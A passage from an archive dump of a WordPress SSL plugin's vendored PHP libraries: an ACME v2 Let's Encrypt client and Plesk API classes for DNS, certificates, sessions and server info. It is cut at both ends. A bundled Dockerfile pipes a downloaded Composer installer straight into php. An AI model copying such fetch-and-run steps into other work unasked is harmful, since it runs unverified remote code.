            "kty" => "RSA",
            "n" => Utilities\Base64::UrlSafeEncode($details["rsa"]["n"])

        );
        return Utilities\Base64::UrlSafeEncode(hash('sha256', json_encode($header), true));
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Account.php000064400000010365147510273070022701 0ustar00<?php
namespace LE_ACME2;
defined('ABSPATH') or die();

use LE_ACME2\Request;
use LE_ACME2\Response;

use LE_ACME2\Utilities;
use LE_ACME2\Exception;

class Account extends AbstractKeyValuable {

    private $_email = NULL;

    public function __construct(string $email) {

        $this->_setEmail($email);

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_INFO,
            get_class() . '::' . __FUNCTION__ .  ' email: "' . $email . '"'
        );
        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_DEBUG,
            get_class() . '::' . __FUNCTION__ .  ' path: ' . $this->getKeyDirectoryPath()
        );
    }

    private function _setEmail(string $email) {

        $this->_email = $email;
        $this->_identifier = $this->_getAccountIdentifier($this);
    }

    public function getEmail() : string {

        return $this->_email;
    }

    /**
     * @param string $email
     * @return Account|null
     * @throws Exception\AbstractException
     */
    public static function create(string $email) : Account {

        $account = new self($email);
        $account->_initKeyDirectory();

        $request = new Request\Account\Create($account);

        try {
            $response = $request->getResponse();

            Cache\AccountResponse::getInstance()->set($account, $response);

            return $account;

        } catch(Exception\AbstractException $e) {

            $account->_clearKeyDirectory();
            throw $e;
        }
    }

    public static function exists(string $email) : bool {

        $account = new self($email);

        return  file_exists($account->getKeyDirectoryPath()) &&
                file_exists($account->getKeyDirectoryPath() . 'private.pem') &&
                file_exists($account->getKeyDirectoryPath() . 'public.pem');
    }

    public static function get(string $email) : Account {

        $account = new self($email);

        if(!self::exists($email))
            throw new \RuntimeException('Keys not found - does this account exist?');

        return $account;
    }

    /**
     * @return Response\AbstractResponse|Response\Account\GetData
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function getData() : Response\Account\GetData {

        $request = new Request\Account\GetData($this);
        return $request->getResponse();
    }

    /**
     * @param string $email
     * @return bool
     * @throws Exception\RateLimitReached
     */
    public function update(string $email) : bool {

        $request = new Request\Account\Update($this, $email);

        try {
            /* $response = */ $request->getResponse();

            $previousKeyDirectoryPath = $this->getKeyDirectoryPath();

            $this->_setEmail($email);

            if($previousKeyDirectoryPath != $this->getKeyDirectoryPath())
                rename($previousKeyDirectoryPath, $this->getKeyDirectoryPath());

            return true;

        } catch(Exception\InvalidResponse $e) {
            return false;
        }
    }

    /**
     * @return bool
     * @throws Exception\RateLimitReached
     */
    public function changeKeys() : bool {

        Utilities\KeyGenerator::RSA($this->getKeyDirectoryPath(), 'private-replacement.pem', 'public-replacement.pem');

        $request = new Request\Account\ChangeKeys($this);
        try {
            /* $response = */ $request->getResponse();

            unlink($this->getKeyDirectoryPath() . 'private.pem');
            unlink($this->getKeyDirectoryPath() . 'public.pem');
            rename($this->getKeyDirectoryPath() . 'private-replacement.pem', $this->getKeyDirectoryPath() . 'private.pem');
            rename($this->getKeyDirectoryPath() . 'public-replacement.pem', $this->getKeyDirectoryPath() . 'public.pem');
            return true;

        } catch(Exception\InvalidResponse $e) {

            return false;
        }
    }

    /**
     * @return bool
     * @throws Exception\RateLimitReached
     */
    public function deactivate() : bool {

        $request = new Request\Account\Deactivate($this);

        try {
            /* $response = */ $request->getResponse();

            return true;

        } catch(Exception\InvalidResponse $e) {
            return false;
        }
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/SingletonTrait.php000064400000000534147510273070024250 0ustar00<?php
namespace LE_ACME2;
defined('ABSPATH') or die();

trait SingletonTrait {

    private static $_instance = NULL;

    /**
     * @return static
     */
    final public static function getInstance(): self {

        if( self::$_instance === NULL ) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/composer.json000064400000000752147510273070021357 0ustar00{
  "name": "fbett/le_acme2",
  "description": "Letsencrypt PHP ACME v2 client",
  "homepage": "https://github.com/fbett/le-acme2-php",
  "version": "1.5.6",
  "license": "MIT",
  "authors": [
    {
      "name": "Fabian Bett",
      "homepage": "https://www.bett-ingenieure.de",
      "role": "Developer"
    }
  ],
  "autoload": {
    "psr-0": {
      "LE_ACME2": "src/"
    }
  },
  "require": {
    "php": ">=7.3",
    "ext-curl": "*",
    "ext-openssl": "*",
    "ext-json": "*"
  }
}
really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/LICENSE.md000064400000002014147510273070020232 0ustar00MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
really-simple-ssl/lets-encrypt/vendor/fbett/index.php000064400000000043147510273070016777 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/vendor/plesk/index.php000064400000000043147510273070017011 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/Dockerfile000064400000000333147510273070021267 0ustar00FROM php:7.3-cli

RUN apt-get update \
    && apt-get install -y unzip \
    && docker-php-ext-install pcntl \
    && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Dns/Info.php000064400000001326147510273070024214 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Dns;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var int */
    public $id;

    /** @var int */
    public $siteId;

    /** @var int */
    public $siteAliasId;

    /** @var string */
    public $type;

    /** @var string */
    public $host;

    /** @var string */
    public $value;

    /** @var string */
    public $opt;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'site-id',
            'site-alias-id',
            'type',
            'host',
            'value',
            'opt',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/SecretKey/Info.php000064400000001027147510273070025364 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\SecretKey;

class Info extends \PleskX\Api\Struct
{
    /** @var string */
    public $key;

    /** @var string */
    public $ipAddress;

    /** @var string */
    public $description;

    /** @var string */
    public $login;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'key',
            'ip_address',
            'description',
            'login',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/EventLog/DetailedEvent.php000064400000001352147510273070027034 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\EventLog;
defined('ABSPATH') or die();
class DetailedEvent extends \PleskX\Api\Struct
{
    /** @var int */
    public $id;

    /** @var string */
    public $type;

    /** @var int */
    public $time;

    /** @var string */
    public $class;

    /** @var string */
    public $objectId;

    /** @var string */
    public $user;

    /** @var string */
    public $host;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'type',
            'time',
            'class',
            ['obj_id' => 'objectId'],
            'user',
            'host',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/EventLog/Event.php000064400000001025147510273070025375 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\EventLog;
defined('ABSPATH') or die();
class Event extends \PleskX\Api\Struct
{
    /** @var string */
    public $type;

    /** @var int */
    public $time;

    /** @var string */
    public $class;

    /** @var string */
    public $id;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'type',
            'time',
            'class',
            'id',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/PhpHandler/Info.php000064400000001734147510273070025520 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\PhpHandler;
defined('ABSPATH') or die();
use PleskX\Api\Struct;

class Info extends Struct
{
    /** @var string */
    public $id;

    /** @var string */
    public $displayName;

    /** @var string */
    public $fullVersion;

    /** @var string */
    public $version;

    /** @var string */
    public $type;

    /** @var string */
    public $path;

    /** @var string */
    public $clipath;

    /** @var string */
    public $phpini;

    /** @var string */
    public $custom;

    /** @var string */
    public $handlerStatus;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'display-name',
            'full-version',
            'version',
            'type',
            'path',
            'clipath',
            'phpini',
            'custom',
            'handler-status',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Site/HostingInfo.php000064400000001112147510273070025721 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Site;
defined('ABSPATH') or die();
class HostingInfo extends \PleskX\Api\Struct
{
    /** @var array */
    public $properties = [];

    /** @var string */
    public $ipAddress;

    public function __construct($apiResponse)
    {
        foreach ($apiResponse->vrt_hst->property as $property) {
            $this->properties[(string) $property->name] = (string) $property->value;
        }
        $this->_initScalarProperties($apiResponse->vrt_hst, [
            'ip_address',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Site/GeneralInfo.php000064400000001167147510273070025675 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Site;
defined('ABSPATH') or die();
class GeneralInfo extends \PleskX\Api\Struct
{
    /** @var string */
    public $name;

    /** @var string */
    public $asciiName;

    /** @var string */
    public $guid;

    /** @var string */
    public $status;

    /** @var string */
    public $description;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'name',
            'ascii-name',
            'status',
            'guid',
            'description',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Site/Info.php000064400000000622147510273070024372 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Site;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var int */
    public $id;

    /** @var string */
    public $guid;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'guid',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Certificate/Info.php000064400000000710147510273070025706 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Certificate;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var string */
    public $request;

    /** @var string */
    public $privateKey;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            ['csr' => 'request'],
            ['pvt' => 'privateKey'],
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/SiteAlias/Info.php000064400000000633147510273070025346 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\SiteAlias;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var string */
    public $status;

    /** @var int */
    public $id;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'status',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/SiteAlias/GeneralInfo.php000064400000000762147510273070026647 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\SiteAlias;
defined('ABSPATH') or die();
class GeneralInfo extends \PleskX\Api\Struct
{
    /** @var string */
    public $name;

    /** @var string */
    public $asciiName;

    /** @var string */
    public $status;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'name',
            'ascii-name',
            'status',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Locale/Info.php000064400000000757147510273070024676 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Locale;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var string */
    public $id;

    /** @var string */
    public $language;

    /** @var string */
    public $country;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            ['lang' => 'language'],
            'country',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct/Session/Info.php000064400000001250147510273070025107 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Struct\Session;
defined('ABSPATH') or die();
class Info extends \PleskX\Api\Struct
{
    /** @var string */
    public $id;

    /** @var string */
    public $type;

    /** @var string */
    public $ipAddress;

    /** @var string */
    public $login;

    /** @var string */
    public $loginTime;

    /** @var string */
    public $idle;

    public function __construct($apiResponse)
    {
        $this->_initScalarProperties($apiResponse, [
            'id',
            'type',
            'ip-address',
            'login',
            'login-time',
            'idle',
        ]);
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/ProtectedDirectory.php000064400000005752147510273070026731 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\ProtectedDirectory as Struct;

class ProtectedDirectory extends \PleskX\Api\Operator
{
    protected $_wrapperTag = 'protected-dir';

    /**
     * @param string $name
     * @param int $siteId
     * @param string $header
     *
     * @return Struct\Info
     */
    public function add($name, $siteId, $header = '')
    {
        $packet = $this->_client->getPacket();
        $info = $packet->addChild($this->_wrapperTag)->addChild('add');

        $info->addChild('site-id', $siteId);
        $info->addChild('name', $name);
        $info->addChild('header', $header);

        return new Struct\Info($this->_client->request($packet));
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return bool
     */
    public function delete($field, $value)
    {
        return $this->_delete($field, $value, 'delete');
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\DataInfo|false
     */
    public function get($field, $value)
    {
        $items = $this->getAll($field, $value);

        return reset($items);
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\DataInfo[]
     */
    public function getAll($field, $value)
    {
        $response = $this->_get('get', $field, $value);
        $items = [];
        foreach ($response->xpath('//result/data') as $xmlResult) {
            $items[] = new Struct\DataInfo($xmlResult);
        }

        return $items;
    }

    /**
     * @param Struct\Info $protectedDirectory
     * @param string $login
     * @param string $password
     *
     * @return Struct\UserInfo
     */
    public function addUser($protectedDirectory, $login, $password)
    {
        $packet = $this->_client->getPacket();
        $info = $packet->addChild($this->_wrapperTag)->addChild('add-user');

        $info->addChild('pd-id', $protectedDirectory->id);
        $info->addChild('login', $login);
        $info->addChild('password', $password);

        return new Struct\UserInfo($this->_client->request($packet));
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return bool
     */
    public function deleteUser($field, $value)
    {
        return $this->_delete($field, $value, 'delete-user');
    }

    /**
     * @param $command
     * @param $field
     * @param $value
     *
     * @return \PleskX\Api\XmlResponse
     */
    private function _get($command, $field, $value)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild($command);

        $filterTag = $getTag->addChild('filter');
        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);

        return $response;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Ip.php000064400000001134147510273070023451 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\Ip as Struct;

class Ip extends \PleskX\Api\Operator
{
    /**
     * @return Struct\Info[]
     */
    public function get()
    {
        $ips = [];
        $packet = $this->_client->getPacket();
        $packet->addChild($this->_wrapperTag)->addChild('get');
        $response = $this->_client->request($packet);

        foreach ($response->addresses->ip_info as $ipInfo) {
            $ips[] = new Struct\Info($ipInfo);
        }

        return $ips;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/SiteAlias.php000064400000003677147510273070024775 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\SiteAlias as Struct;

class SiteAlias extends \PleskX\Api\Operator
{
    /**
     * @param array $properties
     * @param array $preferences
     *
     * @return Struct\Info
     */
    public function create(array $properties, array $preferences = [])
    {
        $packet = $this->_client->getPacket();
        $info = $packet->addChild($this->_wrapperTag)->addChild('create');

        if (count($preferences) > 0) {
            $prefs = $info->addChild('pref');

            foreach ($preferences as $key => $value) {
                $prefs->addChild($key, is_bool($value) ? ($value ? 1 : 0) : $value);
            }
        }

        $info->addChild('site-id', $properties['site-id']);
        $info->addChild('name', $properties['name']);

        $response = $this->_client->request($packet);

        return new Struct\Info($response);
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\Info
     */
    public function get($field, $value)
    {
        $items = $this->getAll($field, $value);

        return reset($items);
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\Info[]
     */
    public function getAll($field = null, $value = null)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get');

        $filterTag = $getTag->addChild('filter');
        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);
        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            $item = new Struct\GeneralInfo($xmlResult->info);
            $items[] = $item;
        }

        return $items;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/PhpHandler.php000064400000003010147510273070025121 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Client;
use PleskX\Api\Operator;
use PleskX\Api\Struct\PhpHandler\Info;

class PhpHandler extends Operator
{
    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Info
     */
    public function get($field, $value)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get');
        $filterTag = $getTag->addChild('filter');

        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $response = $this->_client->request($packet, Client::RESPONSE_FULL);
        $xmlResult = $response->xpath('//result')[0];

        return new Info($xmlResult);
    }

    /**
     * @param string|null $field
     * @param int|string $value
     *
     * @return Info[]
     */
    public function getAll($field = null, $value = null)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get');

        $filterTag = $getTag->addChild('filter');
        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $response = $this->_client->request($packet, Client::RESPONSE_FULL);
        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            $item = new Info($xmlResult);
            $items[] = $item;
        }

        return $items;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/SecretKey.php000064400000003367147510273070025011 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\SecretKey as Struct;

class SecretKey extends \PleskX\Api\Operator
{
    protected $_wrapperTag = 'secret_key';

    /**
     * @param string $ipAddress
     *
     * @return string
     */
    public function create($ipAddress)
    {
        $packet = $this->_client->getPacket();
        $packet->addChild($this->_wrapperTag)->addChild('create')->addChild('ip_address', $ipAddress);
        $response = $this->_client->request($packet);

        return (string) $response->key;
    }

    /**
     * @param string $keyId
     *
     * @return bool
     */
    public function delete($keyId)
    {
        return $this->_delete('key', $keyId, 'delete');
    }

    /**
     * @param string $keyId
     *
     * @return Struct\Info
     */
    public function get($keyId)
    {
        $items = $this->_get($keyId);

        return reset($items);
    }

    /**
     * @return Struct\Info[]
     */
    public function getAll()
    {
        return $this->_get();
    }

    /**
     * @param string|null $keyId
     *
     * @return Struct\Info[]
     */
    public function _get($keyId = null)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get_info');

        $filterTag = $getTag->addChild('filter');
        if (!is_null($keyId)) {
            $filterTag->addChild('key', $keyId);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);

        $items = [];
        foreach ($response->xpath('//result/key_info') as $keyInfo) {
            $items[] = new Struct\Info($keyInfo);
        }

        return $items;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Locale.php000064400000001616147510273070024305 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\Locale as Struct;

class Locale extends \PleskX\Api\Operator
{
    /**
     * @param string|null $id
     *
     * @return Struct\Info|Struct\Info[]
     */
    public function get($id = null)
    {
        $locales = [];
        $packet = $this->_client->getPacket();
        $filter = $packet->addChild($this->_wrapperTag)->addChild('get')->addChild('filter');

        if (!is_null($id)) {
            $filter->addChild('id', $id);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);

        foreach ($response->locale->get->result as $localeInfo) {
            $locales[(string) $localeInfo->info->id] = new Struct\Info($localeInfo->info);
        }

        return !is_null($id) ? reset($locales) : $locales;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Certificate.php000064400000003031147510273070025321 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();

use PleskX\Api\Struct\Certificate as Struct;

class Certificate extends \PleskX\Api\Operator
{
    /**
     * @param array $properties
     *
     * @return Struct\Info
     */
    public function generate($properties)
    {
        $packet = $this->_client->getPacket();
        $info = $packet->addChild($this->_wrapperTag)->addChild('generate')->addChild('info');

        foreach ($properties as $name => $value) {
            $info->addChild($name, $value);
        }

        $response = $this->_client->request($packet);

        return new Struct\Info($response);
    }

	public function create($properties)
	{
		$packet = $this->_client->getPacket();
		$info = $packet->addChild($this->_wrapperTag)->addChild('add')->addChild('gen_info');

		foreach ($properties as $name => $value) {
			$info->addChild($name, $value);
		}

		$response = $this->_client->request($packet);

		return new Struct\Info($response);
	}

	public function install($domains, $properties)
	{
		$packet = $this->_client->getPacket();
		foreach ($domains as $domain) {
			$install = $packet->addChild($this->_wrapperTag)->addChild('install');
			$install->addChild('name', $domain);
			$install->addChild('webspace', $domain);
			$content = $install->addChild('content');

			foreach ($properties as $name => $value) {
				$content->addChild($name, $value);
			}

		}


		$response = $this->_client->request($packet);

		return new Struct\Info($response);
	}

}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Session.php000064400000001421147510273070024523 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\Session as Struct;

class Session extends \PleskX\Api\Operator
{
    /**
     * @return Struct\Info[]
     */
    public function get()
    {
        $sessions = [];
        $response = $this->request('get');

        foreach ($response->session as $sessionInfo) {
            $sessions[(string) $sessionInfo->id] = new Struct\Info($sessionInfo);
        }

        return $sessions;
    }

    /**
     * @param string $sessionId
     *
     * @return bool
     */
    public function terminate($sessionId)
    {
        $response = $this->request("terminate.session-id=$sessionId");

        return 'ok' === (string) $response->status;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/EventLog.php000064400000001774147510273070024636 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\EventLog as Struct;

class EventLog extends \PleskX\Api\Operator
{
    protected $_wrapperTag = 'event_log';

    /**
     * @return Struct\Event[]
     */
    public function get()
    {
        $records = [];
        $response = $this->request('get');

        foreach ($response->event as $eventInfo) {
            $records[] = new Struct\Event($eventInfo);
        }

        return $records;
    }

    /**
     * @return Struct\DetailedEvent[]
     */
    public function getDetailedLog()
    {
        $records = [];
        $response = $this->request('get_events');

        foreach ($response->event as $eventInfo) {
            $records[] = new Struct\DetailedEvent($eventInfo);
        }

        return $records;
    }

    /**
     * @return int
     */
    public function getLastId()
    {
        return (int) $this->request('get-last-id')->getValue('id');
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Dns.php000064400000006347147510273070023640 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();

use PleskX\Api\Struct\Dns as Struct;

class Dns extends \PleskX\Api\Operator
{
    /**
     * @param array $properties
     *
     * @return Struct\Info
     */
    public function create($properties)
    {
        $packet = $this->_client->getPacket();
        $info = $packet->addChild($this->_wrapperTag)->addChild('add_rec');

        foreach ($properties as $name => $value) {
            $info->addChild($name, $value);
        }

        return new Struct\Info($this->_client->request($packet));
    }

    /**
     * Send multiply records by one request.
     *
     * @param array $records
     *
     * @return \PleskX\Api\XmlResponse[]
     */
    public function bulkCreate(array $records)
    {
        $packet = $this->_client->getPacket();

        foreach ($records as $properties) {
            $info = $packet->addChild($this->_wrapperTag)->addChild('add_rec');

            foreach ($properties as $name => $value) {
                $info->addChild($name, $value);
            }
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);
        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            $items[] = $xmlResult;
        }

        return $items;
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\Info
     */
    public function get($field, $value)
    {
        $items = $this->getAll($field, $value);

        return reset($items);
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return Struct\Info[]
     */
    public function getAll($field, $value)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get_rec');

        $filterTag = $getTag->addChild('filter');
        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);
        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            $item = new Struct\Info($xmlResult->data);
            $item->id = (int) $xmlResult->id;
            $items[] = $item;
        }

        return $items;
    }

    /**
     * @param string $field
     * @param int|string $value
     *
     * @return bool
     */
    public function delete($field, $value)
    {
        return $this->_delete($field, $value, 'del_rec');
    }

    /**
     * Delete multiply records by one request.
     *
     * @param array $recordIds
     *
     * @return \PleskX\Api\XmlResponse[]
     */
    public function bulkDelete(array $recordIds)
    {
        $packet = $this->_client->getPacket();

        foreach ($recordIds as $recordId) {
            $packet->addChild($this->_wrapperTag)->addChild('del_rec')
                ->addChild('filter')->addChild('id', $recordId);
        }

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);
        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            $items[] = $xmlResult;
        }

        return $items;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator/Server.php000064400000010122147510273070024344 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Operator;
defined('ABSPATH') or die();
use PleskX\Api\Struct\Server as Struct;

class Server extends \PleskX\Api\Operator
{
    /**
     * @return array
     */
    public function getProtos()
    {
        $packet = $this->_client->getPacket();
        $packet->addChild($this->_wrapperTag)->addChild('get_protos');
        $response = $this->_client->request($packet);

        return (array) $response->protos->proto;
    }

    public function getGeneralInfo()
    {
        return new Struct\GeneralInfo($this->_getInfo('gen_info'));
    }

    public function getPreferences()
    {
        return new Struct\Preferences($this->_getInfo('prefs'));
    }

    public function getAdmin()
    {
        return new Struct\Admin($this->_getInfo('admin'));
    }

    /**
     * @return array
     */
    public function getKeyInfo()
    {
        $keyInfo = [];
        $keyInfoXml = $this->_getInfo('key');

        foreach ($keyInfoXml->property as $property) {
            $keyInfo[(string) $property->name] = (string) $property->value;
        }

        return $keyInfo;
    }

    /**
     * @return array
     */
    public function getComponents()
    {
        $components = [];
        $componentsXml = $this->_getInfo('components');

        foreach ($componentsXml->component as $component) {
            $components[(string) $component->name] = (string) $component->version;
        }

        return $components;
    }

    /**
     * @return array
     */
    public function getServiceStates()
    {
        $states = [];
        $statesXml = $this->_getInfo('services_state');

        foreach ($statesXml->srv as $service) {
            $states[(string) $service->id] = [
                'id' => (string) $service->id,
                'title' => (string) $service->title,
                'state' => (string) $service->state,
            ];
        }

        return $states;
    }

    public function getSessionPreferences()
    {
        return new Struct\SessionPreferences($this->_getInfo('session_setup'));
    }

    /**
     * @return array
     */
    public function getShells()
    {
        $shells = [];
        $shellsXml = $this->_getInfo('shells');

        foreach ($shellsXml->shell as $shell) {
            $shells[(string) $shell->name] = (string) $shell->path;
        }

        return $shells;
    }

    /**
     * @return array
     */
    public function getNetworkInterfaces()
    {
        $interfacesXml = $this->_getInfo('interfaces');

        return (array) $interfacesXml->interface;
    }

    public function getStatistics()
    {
